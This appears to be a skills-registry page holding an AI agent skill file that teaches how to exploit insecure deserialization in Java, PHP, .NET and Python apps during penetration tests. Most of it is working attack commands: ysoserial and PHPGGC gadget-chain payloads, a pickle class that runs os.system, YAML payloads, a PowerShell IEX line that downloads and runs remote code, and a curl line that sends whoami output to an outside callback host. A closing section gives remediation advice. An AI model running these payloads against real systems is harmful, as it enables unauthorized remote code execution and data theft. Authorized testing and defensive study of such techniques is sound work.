[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EV277HPM0HCR32FCES5Q48":3,"skill-same:01M6EV277HPM0HCR32FCES5Q48":93},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":54,"commitSha":55,"skillDirectory":56,"forksCount":57,"repositoryHtmlUrl":58,"repositoryHomepageUrl":6,"ownerHtmlUrl":59,"ownerBlogUrl":6,"ownerDescription":60,"updatedAt":61,"install":62,"resources":75},"01M6EV277HPM0HCR32FCES5Q48","exploiting-insecure-deserialization",null,"Identifying and exploiting insecure deserialization vulnerabilities in Java, PHP, Python, and .NET applications to achieve remote code execution during authorized penetration tests.","luokai0\u002Fai-agent-skills-by-luo-kai","luokai0","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F266954973?v=4","01M6E16VNT42JB8B3X3254QWJ7","luo kai","01M6E16VTFVP6S5XJF1V1MPV90",14,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-insecure-deserialization\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"exploiting insecure deserialization","deserialization","remote","testing","code execution","penetration","tests","application-security","applications","ysoserial","rce","web-security","execution","web-application-security","java","code","web","vulnerabilities","cybersecurity","python","2026-11-10 10:12:30",false,"---\nname: exploiting-insecure-deserialization\ndescription: Identifying and exploiting insecure deserialization vulnerabilities in Java, PHP, Python, and .NET applications to achieve remote code execution during authorized penetration tests.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [penetration-testing, deserialization, rce, owasp, web-security, ysoserial]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Exploiting Insecure Deserialization\n\n## When to Use\n\n- During authorized penetration tests when applications process serialized data (cookies, API parameters, message queues)\n- When identifying Java serialization markers (`ac ed 00 05` \u002F `rO0AB`) in HTTP traffic\n- For testing PHP applications that use `unserialize()` on user-controlled input\n- When evaluating .NET applications using `BinaryFormatter`, `ObjectStateFormatter`, or `ViewState`\n- During security assessments of applications using pickle (Python), Marshal (Ruby), or YAML deserialization\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **ysoserial**: Java deserialization exploit tool (`git clone https:\u002F\u002Fgithub.com\u002Ffrohoff\u002Fysoserial.git`)\n- **ysoserial.net**: .NET deserialization exploit tool (`git clone https:\u002F\u002Fgithub.com\u002Fpwntester\u002Fysoserial.net.git`)\n- **PHPGGC**: PHP deserialization gadget chain generator (`git clone https:\u002F\u002Fgithub.com\u002Fambionics\u002Fphpggc.git`)\n- **Burp Suite Professional**: With Java Deserialization Scanner extension\n- **Java Runtime**: For running ysoserial\n- **Collaborator\u002Finteractsh**: For out-of-band confirmation of code execution\n\n## Workflow\n\n### Step 1: Identify Serialized Data in Application Traffic\n\nDetect serialized objects in HTTP parameters, cookies, and headers.\n\n```bash\n# Java serialization markers\n# Binary: starts with 0xACED0005\n# Base64: starts with rO0AB\n# Gzip+Base64: starts with H4sIAAAAAAAA\n\n# Search Burp proxy history for serialization signatures\n# In Burp: Proxy > HTTP History > Search > \"rO0AB\"\n\n# Check cookies and parameters for Base64-encoded serialized data\necho \"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA...\" | base64 -d | xxd | head\n\n# PHP serialization format\n# Looks like: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:4:\"user\";}\n# a:2:{i:0;s:5:\"hello\";i:1;s:5:\"world\";}\n\n# .NET ViewState\n# __VIEWSTATE parameter in ASP.NET forms\n# Starts with \u002FwEP... (base64)\n\n# Python pickle\n# Base64 encoded pickle objects in cookies or API parameters\n# Binary starts with 0x80 (protocol version)\n\n# Common locations to check:\n# - Session cookies\n# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)\n# - API request\u002Fresponse bodies\n# - WebSocket messages\n# - Message queue payloads (JMS, RabbitMQ, Redis)\n# - Cache entries (Memcached, Redis)\n```\n\n### Step 2: Test Java Deserialization with ysoserial\n\nGenerate deserialization payloads for Java applications.\n\n```bash\n# List available gadget chains\njava -jar ysoserial.jar 2>&1 | grep -E \"^\\s+\\w\"\n\n# Generate DNS callback payload for detection (safest test)\njava -jar ysoserial.jar URLDNS \"http:\u002F\u002Fjava-deser.abc123.oast.fun\" | base64 -w0\n\n# Test with Burp Collaborator\n# Replace serialized cookie\u002Fparameter with generated payload\n# Check Collaborator for DNS\u002FHTTP callbacks\n\n# Generate RCE payloads with common gadget chains\n# CommonsCollections (very common in Java apps)\njava -jar ysoserial.jar CommonsCollections1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Frce\" | base64 -w0\njava -jar ysoserial.jar CommonsCollections5 \"whoami\" | base64 -w0\njava -jar ysoserial.jar CommonsCollections6 \"id\" | base64 -w0\n\n# Spring Framework gadget\njava -jar ysoserial.jar Spring1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fspring\" | base64 -w0\n\n# Hibernate gadget\njava -jar ysoserial.jar Hibernate1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fhibernate\" | base64 -w0\n\n# Send payload via curl\nPAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fconfirm\" | base64 -w0)\ncurl -s -X POST \\\n  -b \"session=$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\"\n```\n\n### Step 3: Test PHP Deserialization with PHPGGC\n\nGenerate PHP gadget chains for common frameworks.\n\n```bash\n# List available PHP gadget chains\n.\u002Fphpggc -l\n\n# Generate payloads for common PHP frameworks\n# Laravel RCE\n.\u002Fphpggc Laravel\u002FRCE1 system \"id\" -b\n.\u002Fphpggc Laravel\u002FRCE5 system \"whoami\" -b\n\n# Symfony RCE\n.\u002Fphpggc Symfony\u002FRCE4 exec \"curl http:\u002F\u002Fabc123.oast.fun\u002Fphp-rce\" -b\n\n# WordPress (via Guzzle)\n.\u002Fphpggc Guzzle\u002FRCE1 system \"id\" -b\n\n# Monolog RCE\n.\u002Fphpggc Monolog\u002FRCE1 system \"id\" -b\n\n# Test by injecting into cookie or parameter\nPAYLOAD=$(.\u002Fphpggc Laravel\u002FRCE1 system \"curl http:\u002F\u002Fabc123.oast.fun\u002Flaravel\" -b)\ncurl -s -b \"serialized_data=$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\"\n\n# PHP object injection via manipulated serialized string\n# Original: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:4:\"user\";}\n# Modified: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:5:\"admin\";}\n\n# Test for type juggling with PHP unserialize\n# Change string to integer: s:4:\"role\" -> i:1\n```\n\n### Step 4: Test .NET Deserialization\n\nAssess ViewState and other .NET serialization vectors.\n\n```bash\n# Analyze .NET ViewState\n# Check if ViewState MAC is enabled\n# Unprotected ViewState starts with \u002FwE and can be decoded\n\n# Using ysoserial.net for .NET payloads\n# (Run on Windows or via Mono on Linux)\n.\u002Fysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \\\n  -c \"curl http:\u002F\u002Fabc123.oast.fun\u002Fdotnet-rce\" -o base64\n\n.\u002Fysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \\\n  -c \"whoami\" -o base64\n\n# Test ViewState deserialization\n# If __VIEWSTATEMAC is disabled or machine key is known:\n.\u002Fysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \\\n  -c \"powershell -c IEX(curl http:\u002F\u002Fabc123.oast.fun\u002Fps)\" -o base64\n\n# Insert payload into __VIEWSTATE parameter and submit form\n\n# Check for .NET remoting endpoints\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fremoting\u002Fservice.rem\"\n\n# BinaryFormatter in API endpoints\n# Look for Content-Type: application\u002Foctet-stream\n# or application\u002Fx-msbin headers\n```\n\n### Step 5: Test Python Pickle Deserialization\n\nExploit pickle-based deserialization in Python applications.\n\n```python\n# Generate malicious pickle payload\nimport pickle\nimport base64\nimport os\n\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, ('curl http:\u002F\u002Fabc123.oast.fun\u002Fpickle-rce',))\n\npayload = base64.b64encode(pickle.dumps(Exploit())).decode()\nprint(f\"Pickle payload: {payload}\")\n\n# Alternative: Use pickletools for analysis\nimport pickletools\npickletools.dis(pickle.dumps(Exploit()))\n```\n\n```bash\n# Send pickle payload\nPAYLOAD=$(python3 -c \"\nimport pickle, base64, os\nclass E:\n    def __reduce__(self):\n        return (os.system, ('curl http:\u002F\u002Fabc123.oast.fun\u002Fpickle',))\nprint(base64.b64encode(pickle.dumps(E())).decode())\n\")\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Foctet-stream\" \\\n  -d \"$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fimport\"\n\n# Check for YAML deserialization (PyYAML)\n# Payload: !!python\u002Fobject\u002Fapply:os.system ['curl http:\u002F\u002Fabc123.oast.fun\u002Fyaml']\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fx-yaml\" \\\n  -d \"!!python\u002Fobject\u002Fapply:os.system ['curl http:\u002F\u002Fabc123.oast.fun\u002Fyaml']\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fconfig\"\n```\n\n### Step 6: Confirm Exploitation and Document Impact\n\nValidate successful deserialization attacks and document the impact chain.\n\n```bash\n# Confirm RCE with out-of-band callback\n# Check interactsh\u002FCollaborator for:\n# 1. DNS resolution of your callback domain\n# 2. HTTP request with command output\n# 3. Timing-based confirmation (sleep commands)\n\n# If blind, use timing-based confirmation\n# Java: Thread.sleep(10000)\njava -jar ysoserial.jar CommonsCollections5 \"sleep 10\" | base64 -w0\n# Measure if response takes ~10 seconds longer\n\n# Exfiltrate system info (authorized testing only)\njava -jar ysoserial.jar CommonsCollections5 \\\n  \"curl http:\u002F\u002Fabc123.oast.fun\u002F\\$(whoami)\" | base64 -w0\n\n# Document the gadget chain and affected library versions\n# Check target classpath for vulnerable libraries:\n# - commons-collections 3.x \u002F 4.0\n# - spring-core\n# - hibernate-core\n# - groovy\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Serialization** | Converting an object into a byte stream for storage or transmission |\n| **Deserialization** | Reconstructing an object from a byte stream, potentially executing code |\n| **Gadget Chain** | A sequence of existing class methods chained together to achieve arbitrary code execution |\n| **Magic Methods** | Special methods called automatically during deserialization (`__wakeup`, `__destruct` in PHP, `readObject` in Java) |\n| **ViewState** | ASP.NET mechanism for persisting page state, often containing serialized objects |\n| **Pickle** | Python's native serialization format, inherently unsafe for untrusted data |\n| **URLDNS Gadget** | A Java gadget that triggers DNS lookup, useful for safe deserialization detection |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **ysoserial** | Java deserialization payload generator with multiple gadget chains |\n| **ysoserial.net** | .NET deserialization payload generator |\n| **PHPGGC** | PHP Generic Gadget Chains for multiple frameworks |\n| **Burp Java Deserialization Scanner** | Automated detection of Java deserialization vulnerabilities |\n| **marshalsec** | Java unmarshaller exploitation for various libraries |\n| **Freddy (Burp Extension)** | Detects deserialization issues in multiple languages |\n\n## Common Scenarios\n\n### Scenario 1: Java Session Cookie RCE\nA Java application stores session data as serialized objects in cookies. The `rO0AB` prefix reveals Java serialization. Using ysoserial with CommonsCollections gadget chain achieves remote code execution.\n\n### Scenario 2: PHP Laravel Unserialize\nA Laravel application passes serialized data through a hidden form field. Using PHPGGC to generate a Laravel RCE gadget chain achieves command execution when the form is submitted.\n\n### Scenario 3: .NET ViewState Without MAC\nAn ASP.NET application has ViewState MAC validation disabled. Using ysoserial.net to generate a malicious ViewState payload achieves code execution when the page processes the modified ViewState.\n\n### Scenario 4: Python Pickle in Redis Cache\nA Python web application stores pickled objects in Redis for caching. By poisoning the cache with a malicious pickle payload, code execution is triggered when the application deserializes the cached object.\n\n## Output Format\n\n```\n## Insecure Deserialization Finding\n\n**Vulnerability**: Insecure Deserialization - Remote Code Execution\n**Severity**: Critical (CVSS 9.8)\n**Location**: Cookie `user_session` (Java serialized object)\n**OWASP Category**: A08:2021 - Software and Data Integrity Failures\n\n### Reproduction Steps\n1. Capture the `user_session` cookie value (starts with rO0AB)\n2. Generate payload: java -jar ysoserial.jar CommonsCollections5 \"id\"\n3. Base64 encode and replace the cookie value\n4. Send request; command executes on the server\n\n### Vulnerable Library\n- commons-collections 3.2.1 (CVE-2015-7501)\n- Java Runtime: OpenJDK 11.0.15\n\n### Confirmed Impact\n- Remote Code Execution as `tomcat` user\n- Server OS: Ubuntu 22.04 LTS\n- Internal network access confirmed via reverse shell\n- Database credentials accessible from application config\n\n### Recommendation\n1. Avoid deserializing untrusted data; use JSON or Protocol Buffers instead\n2. Upgrade commons-collections to 4.1+ (patched version)\n3. Implement deserialization filters (JEP 290 for Java 9+)\n4. Use allowlists for permitted classes during deserialization\n5. Implement integrity checks (HMAC) on serialized data before deserialization\n```\n","# Exploiting Insecure Deserialization\n\n## When to Use\n\n- During authorized penetration tests when applications process serialized data (cookies, API parameters, message queues)\n- When identifying Java serialization markers (`ac ed 00 05` \u002F `rO0AB`) in HTTP traffic\n- For testing PHP applications that use `unserialize()` on user-controlled input\n- When evaluating .NET applications using `BinaryFormatter`, `ObjectStateFormatter`, or `ViewState`\n- During security assessments of applications using pickle (Python), Marshal (Ruby), or YAML deserialization\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement with RCE testing scope\n- **ysoserial**: Java deserialization exploit tool (`git clone https:\u002F\u002Fgithub.com\u002Ffrohoff\u002Fysoserial.git`)\n- **ysoserial.net**: .NET deserialization exploit tool (`git clone https:\u002F\u002Fgithub.com\u002Fpwntester\u002Fysoserial.net.git`)\n- **PHPGGC**: PHP deserialization gadget chain generator (`git clone https:\u002F\u002Fgithub.com\u002Fambionics\u002Fphpggc.git`)\n- **Burp Suite Professional**: With Java Deserialization Scanner extension\n- **Java Runtime**: For running ysoserial\n- **Collaborator\u002Finteractsh**: For out-of-band confirmation of code execution\n\n## Workflow\n\n### Step 1: Identify Serialized Data in Application Traffic\n\nDetect serialized objects in HTTP parameters, cookies, and headers.\n\n```bash\n# Java serialization markers\n# Binary: starts with 0xACED0005\n# Base64: starts with rO0AB\n# Gzip+Base64: starts with H4sIAAAAAAAA\n\n# Search Burp proxy history for serialization signatures\n# In Burp: Proxy > HTTP History > Search > \"rO0AB\"\n\n# Check cookies and parameters for Base64-encoded serialized data\necho \"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA...\" | base64 -d | xxd | head\n\n# PHP serialization format\n# Looks like: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:4:\"user\";}\n# a:2:{i:0;s:5:\"hello\";i:1;s:5:\"world\";}\n\n# .NET ViewState\n# __VIEWSTATE parameter in ASP.NET forms\n# Starts with \u002FwEP... (base64)\n\n# Python pickle\n# Base64 encoded pickle objects in cookies or API parameters\n# Binary starts with 0x80 (protocol version)\n\n# Common locations to check:\n# - Session cookies\n# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)\n# - API request\u002Fresponse bodies\n# - WebSocket messages\n# - Message queue payloads (JMS, RabbitMQ, Redis)\n# - Cache entries (Memcached, Redis)\n```\n\n### Step 2: Test Java Deserialization with ysoserial\n\nGenerate deserialization payloads for Java applications.\n\n```bash\n# List available gadget chains\njava -jar ysoserial.jar 2>&1 | grep -E \"^\\s+\\w\"\n\n# Generate DNS callback payload for detection (safest test)\njava -jar ysoserial.jar URLDNS \"http:\u002F\u002Fjava-deser.abc123.oast.fun\" | base64 -w0\n\n# Test with Burp Collaborator\n# Replace serialized cookie\u002Fparameter with generated payload\n# Check Collaborator for DNS\u002FHTTP callbacks\n\n# Generate RCE payloads with common gadget chains\n# CommonsCollections (very common in Java apps)\njava -jar ysoserial.jar CommonsCollections1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Frce\" | base64 -w0\njava -jar ysoserial.jar CommonsCollections5 \"whoami\" | base64 -w0\njava -jar ysoserial.jar CommonsCollections6 \"id\" | base64 -w0\n\n# Spring Framework gadget\njava -jar ysoserial.jar Spring1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fspring\" | base64 -w0\n\n# Hibernate gadget\njava -jar ysoserial.jar Hibernate1 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fhibernate\" | base64 -w0\n\n# Send payload via curl\nPAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 \"curl http:\u002F\u002Fabc123.oast.fun\u002Fconfirm\" | base64 -w0)\ncurl -s -X POST \\\n  -b \"session=$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\"\n```\n\n### Step 3: Test PHP Deserialization with PHPGGC\n\nGenerate PHP gadget chains for common frameworks.\n\n```bash\n# List available PHP gadget chains\n.\u002Fphpggc -l\n\n# Generate payloads for common PHP frameworks\n# Laravel RCE\n.\u002Fphpggc Laravel\u002FRCE1 system \"id\" -b\n.\u002Fphpggc Laravel\u002FRCE5 system \"whoami\" -b\n\n# Symfony RCE\n.\u002Fphpggc Symfony\u002FRCE4 exec \"curl http:\u002F\u002Fabc123.oast.fun\u002Fphp-rce\" -b\n\n# WordPress (via Guzzle)\n.\u002Fphpggc Guzzle\u002FRCE1 system \"id\" -b\n\n# Monolog RCE\n.\u002Fphpggc Monolog\u002FRCE1 system \"id\" -b\n\n# Test by injecting into cookie or parameter\nPAYLOAD=$(.\u002Fphpggc Laravel\u002FRCE1 system \"curl http:\u002F\u002Fabc123.oast.fun\u002Flaravel\" -b)\ncurl -s -b \"serialized_data=$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\"\n\n# PHP object injection via manipulated serialized string\n# Original: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:4:\"user\";}\n# Modified: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:5:\"admin\";}\n\n# Test for type juggling with PHP unserialize\n# Change string to integer: s:4:\"role\" -> i:1\n```\n\n### Step 4: Test .NET Deserialization\n\nAssess ViewState and other .NET serialization vectors.\n\n```bash\n# Analyze .NET ViewState\n# Check if ViewState MAC is enabled\n# Unprotected ViewState starts with \u002FwE and can be decoded\n\n# Using ysoserial.net for .NET payloads\n# (Run on Windows or via Mono on Linux)\n.\u002Fysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \\\n  -c \"curl http:\u002F\u002Fabc123.oast.fun\u002Fdotnet-rce\" -o base64\n\n.\u002Fysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \\\n  -c \"whoami\" -o base64\n\n# Test ViewState deserialization\n# If __VIEWSTATEMAC is disabled or machine key is known:\n.\u002Fysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \\\n  -c \"powershell -c IEX(curl http:\u002F\u002Fabc123.oast.fun\u002Fps)\" -o base64\n\n# Insert payload into __VIEWSTATE parameter and submit form\n\n# Check for .NET remoting endpoints\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fremoting\u002Fservice.rem\"\n\n# BinaryFormatter in API endpoints\n# Look for Content-Type: application\u002Foctet-stream\n# or application\u002Fx-msbin headers\n```\n\n### Step 5: Test Python Pickle Deserialization\n\nExploit pickle-based deserialization in Python applications.\n\n```python\n# Generate malicious pickle payload\nimport pickle\nimport base64\nimport os\n\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, ('curl http:\u002F\u002Fabc123.oast.fun\u002Fpickle-rce',))\n\npayload = base64.b64encode(pickle.dumps(Exploit())).decode()\nprint(f\"Pickle payload: {payload}\")\n\n# Alternative: Use pickletools for analysis\nimport pickletools\npickletools.dis(pickle.dumps(Exploit()))\n```\n\n```bash\n# Send pickle payload\nPAYLOAD=$(python3 -c \"\nimport pickle, base64, os\nclass E:\n    def __reduce__(self):\n        return (os.system, ('curl http:\u002F\u002Fabc123.oast.fun\u002Fpickle',))\nprint(base64.b64encode(pickle.dumps(E())).decode())\n\")\n\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Foctet-stream\" \\\n  -d \"$PAYLOAD\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fimport\"\n\n# Check for YAML deserialization (PyYAML)\n# Payload: !!python\u002Fobject\u002Fapply:os.system ['curl http:\u002F\u002Fabc123.oast.fun\u002Fyaml']\ncurl -s -X POST \\\n  -H \"Content-Type: application\u002Fx-yaml\" \\\n  -d \"!!python\u002Fobject\u002Fapply:os.system ['curl http:\u002F\u002Fabc123.oast.fun\u002Fyaml']\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fapi\u002Fconfig\"\n```\n\n### Step 6: Confirm Exploitation and Document Impact\n\nValidate successful deserialization attacks and document the impact chain.\n\n```bash\n# Confirm RCE with out-of-band callback\n# Check interactsh\u002FCollaborator for:\n# 1. DNS resolution of your callback domain\n# 2. HTTP request with command output\n# 3. Timing-based confirmation (sleep commands)\n\n# If blind, use timing-based confirmation\n# Java: Thread.sleep(10000)\njava -jar ysoserial.jar CommonsCollections5 \"sleep 10\" | base64 -w0\n# Measure if response takes ~10 seconds longer\n\n# Exfiltrate system info (authorized testing only)\njava -jar ysoserial.jar CommonsCollections5 \\\n  \"curl http:\u002F\u002Fabc123.oast.fun\u002F\\$(whoami)\" | base64 -w0\n\n# Document the gadget chain and affected library versions\n# Check target classpath for vulnerable libraries:\n# - commons-collections 3.x \u002F 4.0\n# - spring-core\n# - hibernate-core\n# - groovy\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Serialization** | Converting an object into a byte stream for storage or transmission |\n| **Deserialization** | Reconstructing an object from a byte stream, potentially executing code |\n| **Gadget Chain** | A sequence of existing class methods chained together to achieve arbitrary code execution |\n| **Magic Methods** | Special methods called automatically during deserialization (`__wakeup`, `__destruct` in PHP, `readObject` in Java) |\n| **ViewState** | ASP.NET mechanism for persisting page state, often containing serialized objects |\n| **Pickle** | Python's native serialization format, inherently unsafe for untrusted data |\n| **URLDNS Gadget** | A Java gadget that triggers DNS lookup, useful for safe deserialization detection |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **ysoserial** | Java deserialization payload generator with multiple gadget chains |\n| **ysoserial.net** | .NET deserialization payload generator |\n| **PHPGGC** | PHP Generic Gadget Chains for multiple frameworks |\n| **Burp Java Deserialization Scanner** | Automated detection of Java deserialization vulnerabilities |\n| **marshalsec** | Java unmarshaller exploitation for various libraries |\n| **Freddy (Burp Extension)** | Detects deserialization issues in multiple languages |\n\n## Common Scenarios\n\n### Scenario 1: Java Session Cookie RCE\nA Java application stores session data as serialized objects in cookies. The `rO0AB` prefix reveals Java serialization. Using ysoserial with CommonsCollections gadget chain achieves remote code execution.\n\n### Scenario 2: PHP Laravel Unserialize\nA Laravel application passes serialized data through a hidden form field. Using PHPGGC to generate a Laravel RCE gadget chain achieves command execution when the form is submitted.\n\n### Scenario 3: .NET ViewState Without MAC\nAn ASP.NET application has ViewState MAC validation disabled. Using ysoserial.net to generate a malicious ViewState payload achieves code execution when the page processes the modified ViewState.\n\n### Scenario 4: Python Pickle in Redis Cache\nA Python web application stores pickled objects in Redis for caching. By poisoning the cache with a malicious pickle payload, code execution is triggered when the application deserializes the cached object.\n\n## Output Format\n\n```\n## Insecure Deserialization Finding\n\n**Vulnerability**: Insecure Deserialization - Remote Code Execution\n**Severity**: Critical (CVSS 9.8)\n**Location**: Cookie `user_session` (Java serialized object)\n**OWASP Category**: A08:2021 - Software and Data Integrity Failures\n\n### Reproduction Steps\n1. Capture the `user_session` cookie value (starts with rO0AB)\n2. Generate payload: java -jar ysoserial.jar CommonsCollections5 \"id\"\n3. Base64 encode and replace the cookie value\n4. Send request; command executes on the server\n\n### Vulnerable Library\n- commons-collections 3.2.1 (CVE-2015-7501)\n- Java Runtime: OpenJDK 11.0.15\n\n### Confirmed Impact\n- Remote Code Execution as `tomcat` user\n- Server OS: Ubuntu 22.04 LTS\n- Internal network access confirmed via reverse shell\n- Database credentials accessible from application config\n\n### Recommendation\n1. Avoid deserializing untrusted data; use JSON or Protocol Buffers instead\n2. Upgrade commons-collections to 4.1+ (patched version)\n3. Implement deserialization filters (JEP 290 for Java 9+)\n4. Use allowlists for permitted classes during deserialization\n5. Implement integrity checks (HMAC) on serialized data before deserialization\n```\n",{"name":5,"tags":49,"author":52,"domain":42,"license":15,"version":53,"subdomain":37,"description":7},[50,25,34,51,35,33],"penetration-testing","owasp","mahipal","1.0","main","4d2fb89cdfb75f3f6fd3c6c5ec9ad90ea129eb3c","ai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-insecure-deserialization",2,"https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai","https:\u002F\u002Fgithub.com\u002Fluokai0","a solo builder.","2026-05-06 04:29:04",{"source":8,"skillName":5,"commands":63,"prompt":73,"zipAvailable":74},[64,67,70],{"tool":65,"command":66},"npx","npx skills add luokai0\u002Fai-agent-skills-by-luo-kai --skill exploiting-insecure-deserialization",{"tool":68,"command":69},"bunx","bunx skills add luokai0\u002Fai-agent-skills-by-luo-kai --skill exploiting-insecure-deserialization",{"tool":71,"command":72},"pnpm","pnpm dlx skills add luokai0\u002Fai-agent-skills-by-luo-kai --skill exploiting-insecure-deserialization","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-insecure-deserialization\u002FSKILL.md",true,[76,81,87],{"path":77,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-insecure-deserialization\u002FLICENSE",{"path":82,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"references\u002Fapi-reference.md","REFERENCE","参考文档",2009,"https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-insecure-deserialization\u002Freferences\u002Fapi-reference.md",{"path":88,"resourceType":89,"resourceTypeDesc":90,"sizeBytes":91,"sourceHtmlUrl":92},"scripts\u002Fagent.py","SCRIPT","脚本",6381,"https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F21-external-registries\u002F08-pinkpixel-collection\u002Fexploiting-insecure-deserialization\u002Fscripts\u002Fagent.py",[94,122,138,165,198,231],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":98,"licenseFileUrl":6,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":44},"01M6F2SKTE208174C7S7JJCZC7","write-contracts","Generates secure Aptos Move V2 smart contracts with Object model, Digital Asset integration, security patterns, and storage type guidance. Includes comprehensive storage decision framework for optimal data structure selection. Triggers on: 'write contract', 'create NFT collection', 'build marketplace', 'implement minting', 'generate Move module', 'create token contract', 'build DAO', 'implement staking'. Ask storage questions when: 'store', 'track', 'registry', 'mapping', 'list', 'collection'.","MIT","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fwrite-contracts\u002FSKILL.md",[],[102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121],"write","contracts","write contracts","storage","secure","create","generate","collection","model","decision","ask","smart-contracts","selection","objects","structure","nft","token","aptos","critical","move",{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":98,"licenseFileUrl":6,"sourceHtmlUrl":126,"categories":127,"keywords":128,"publishedAt":44},"01M6F2RFXJ6T9MKW0A7N7GM45B","web-search","通用网络搜索技能，支持多引擎搜索（百度、必应、DuckDuckGo），无需API密钥即可获取实时信息","https:\u002F\u002Fgithub.com\u002Fluokai0\u002Fai-agent-skills-by-luo-kai\u002Fblob\u002Fmain\u002Fai-agent-skills\u002F22-clawhub-skills\u002Fweb-search-ex-skill\u002FSKILL.md",[],[40,129,130,131,132,133,134,135,136,137],"search","web 